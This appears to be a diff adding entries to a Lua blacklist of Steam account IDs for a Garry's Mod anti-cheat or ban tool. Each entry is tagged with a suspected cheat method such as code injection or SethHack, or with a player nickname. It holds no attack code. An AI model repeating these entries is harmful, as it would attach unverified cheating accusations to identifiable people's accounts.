["STEAM_0:1:42476821"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:29466967"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:36017201"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:19586627"] = {Name = "SP2: Convar forcing", SH = true}, + ["STEAM_0:0:30709335"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26604027"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19622107"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:28656241"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:40856910"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:26819163"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:28810910"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:16230103"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:11481020"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:18214819"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:8731533"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:45523007"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:20513516"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26311595"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:32324604"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26431054"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:10795659"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15476329"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:29771895"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:30470607"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:19490976"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:50032155"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:37220271"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:33752125"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:15644324"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:23361066"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:33017392"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:19561634"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:45008543"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:20237730"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:22917225"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:6428289"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:41391523"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36232848"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15978572"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26676964"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:20102730"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:23921311"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:29192036"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:29971267"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:12406388"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:12012182"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:26053222"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:31585345"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:38456959"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:30354552"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36794289"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:22349391"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25657133"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24974888"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:38469933"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25107044"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:39187983"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:38689930"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:3228595"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:5682164"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:29255499"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:23750602"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:30499160"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:6068936"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:43159831"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:49009808"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:37118627"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:25331167"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:36927998"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:22482699"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:40749708"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:24595045"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:16350495"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26057694"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:23629652"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:36006702"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:43940964"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:22227066"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:18838483"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:36928215"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:30622959"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:32073049"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:18460921"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:12040384"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17505658"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:30537140"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:38812224"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:22582910"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:37991340"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:17652107"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19159317"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:45036640"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31713955"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:10713231"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:32752830"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26895317"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:39157486"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25272720"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:29046889"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:41274325"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:49076431"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:41087968"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:40131982"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15710428"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:38362287"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:20497785"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:38972880"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:20811691"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:16267538"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:37325264"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:32234981"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:33749817"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:12808689"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:11799654"] = {Name = "SP2: SethHack(edit)", SH = true}, + ["STEAM_0:0:18287027"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:20409589"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:41918177"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18146611"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:23552236"] = {Name = "SP2: (cracked) sethhack v2", SH = true}, + ["STEAM_0:0:34483728"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:27209687"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18167133"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26692186"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:27042639"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:32835647"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:15292404"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:6183216"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:29853070"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:17424205"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:13196070"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25397734"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36180396"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25160443"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20854764"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:6076942"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:29248785"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:44810352"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:38604448"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:14790879"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:30051971"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24963345"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:24794531"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:43688624"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:38704795"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20703502"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:27014861"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18691624"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25636734"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:40916370"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:17605909"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:39690375"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:11641057"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:17042971"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:33831311"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19807101"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:25999084"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19353043"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19293437"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:38808302"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:11801739"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:17600393"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:22284069"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:50012443"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:30569150"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:1567954"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31775427"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:18222074"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:20406383"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:26165399"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:27791499"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:10131725"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:21044008"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:5550966"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:30710525"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:23946737"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:21756969"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:16330620"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:15979882"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17568188"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:28903624"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:16485732"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:31831863"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:16190578"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:25559717"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:27332827"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:21918773"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:26269678"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:32971824"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19650313"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:15500261"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:29502701"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17908541"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:20280169"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20479184"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:14100771"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:29535476"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:31955945"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:3749847"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:13250571"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:8345987"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:32723575"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:23674993"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:36940612"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31854870"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:44321488"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:47607534"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24859251"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:5100034"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:20264839"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:18843517"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:19767060"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:21491851"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17906432"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:18488836"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:18307252"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:18617255"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:2381903"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:44098755"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:22770384"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:26177708"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:29784969"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18007424"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:7334549"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:31629013"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:16373250"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:20314230"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:14563562"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:8343226"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:18515312"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:1426417"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15479136"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:30594971"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:41611335"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25315900"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:29886937"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:6669318"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:25879423"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:24309692"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:38846072"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:25484778"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25915952"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:30735853"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:36525933"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:10088463"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:8856483"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:45159127"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26188522"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20327715"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:5325124"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:40152334"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:29163952"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:0:14530371"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:38654884"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20743276"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:8836134"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:45119049"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15231011"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:42305682"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:42297594"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:31668419"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:20027677"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:22018370"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:25900751"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:40335356"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:18511864"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17508660"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:29142644"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:1:17465034"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:12190592"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:32655084"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:24822120"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19831541"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:24320781"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:10897283"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:0:28545861"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:26118232"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:35192837"] = {Name = "SP2: Sethhack", SH = true}, + ["STEAM_0:1:37984975"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:43197919"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:28657939"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:28282921"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:44107553"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:17790269"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:26052782"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:30652639"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:24988955"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25624107"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24857790"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15712642"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:15789158"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:11431754"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:31925018"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:15575003"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:15922559"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25470945"] = {Name = "SP2: Unknown", SH = true}, + ["STEAM_0:0:16319183"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:41745347"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:35205289"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:41331055"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:10418914"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:13498644"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:28372989"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:22534432"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:43891704"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:43100738"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:19348310"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:8284163"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:42802404"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:6018850"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:32269281"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:30874880"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:25783134"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:19916550"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:39036191"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:32819171"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:27936486"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:33917884"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:6059942"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:24199196"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:20043407"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:32979564"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:28533213"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:37950845"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:43221644"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:47444339"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:12099804"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:23645529"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:17003802"] = {Name = "SP2: Code injection(SQLite)", SH = true}, + ["STEAM_0:1:21605065"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:1:20546481"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:22010562"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:0:14922341"] = {Name = "SP2: Code injection", SH = true}, + ["STEAM_0:0:25309195"] = {Name = "SP2: Code Injection", SH = true}, + ["STEAM_0:1:48004946"] = {Name = "SP2: Code Injection", SH = true}, + + ["STEAM_0:1:22083389"] = {Name = "BonkAddict", SH = true}, + ["STEAM_0:0:29195781"] = {Name = "From BigBoss", SH = true}, + ["STEAM_0:1:40953131"] = {Name = "kalist1527", SH = true}, + ["STEAM_0:1:49249815"] = {Name = "lemonthefruit1", SH = true}, + ["STEAM_0:1:30411341"] = {Name = "jojo123w", SH = true}, + ["STEAM_0:1:1786057"] = {SH = true}, + ["STEAM_0:0:50539862"] = {SH = true}, + ["STEAM_0:0:22266287"] = {Name = "iFry", SH = true}, + ["STEAM_0:0:50121251"] = {Name = "SH Mod", SH = true}, + ["STEAM_0:1:19815039"] = {Name = "fortter2", SH = true}, + ["STEAM_0:1:40605524"] = {Name = "roberto121096", SH = true}, + + ["STEAM_0:1:21056397"] = {Name = "Dealer/Negars", SH = true}, + ["STEAM_0:1:27308779"] = {Name = "Overwatch Eusion", SH = true}, + ["STEAM_0:0:27242516"] = {Name = "wtfsniper", SH = true}, + ["STEAM_0:0:48407601"] = {SH = true}, + ["STEAM_0:0:30912535"] = {SH = true}, + ["STEAM_0:1:51064463"] = {SH = true}, + ["STEAM_0:0:27014650"] = {SH = true}, + ["STEAM_0:1:35447840"] = {Name = "TopHat", SH = true}, --devnull + ["STEAM_0:1:48073051"] = {SH = true}, + ["STEAM_0:0:17711590"] = {Name = "Mr Eazy", SH = true}, + ["STEAM_0:1:33676142"] = {Name = "ltmikeyc", SH = true}, + ["STEAM_0:0:34715726"] = {Name = "CRACTICAL", SH = true}, + ["STEAM_0:1:41941032"] = {Name = "OmerON", SH = true}, + ["STEAM_0:0:49846367"] = {Name = "goofitaler", SH = true}, + ["STEAM_0:1:47231803"] = {Name = "Igor", SH = true}, + ["STEAM_0:0:24159635"] = {Name = "razbarry", SH = true}, + ["STEAM_0:0:20292360"] = {Name = "DJ-SCRAMPAGE", SH = true}, + + ["STEAM_0:0:26707259"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:19825574"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:18927264"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:36040190"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:38251387"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:39543268"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:23718967"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:10309922"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:10417976"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:39050301"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:33147875"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:34370714"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:48424005"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:24311352"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:28757742"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:20106843"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:25555698"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:26848836"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:26159643"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:29797333"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:36634664"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:31831965"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:38018800"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:21143343"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:29790222"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:8392364"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:14682870"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:26860260"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:1:35214598"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:14084529"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:36088084"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:3592017"] = {Name = "GModSHers", SH = true}, + ["STEAM_0:0:34407341"] = {Name = "GModSHers", SH = true}, 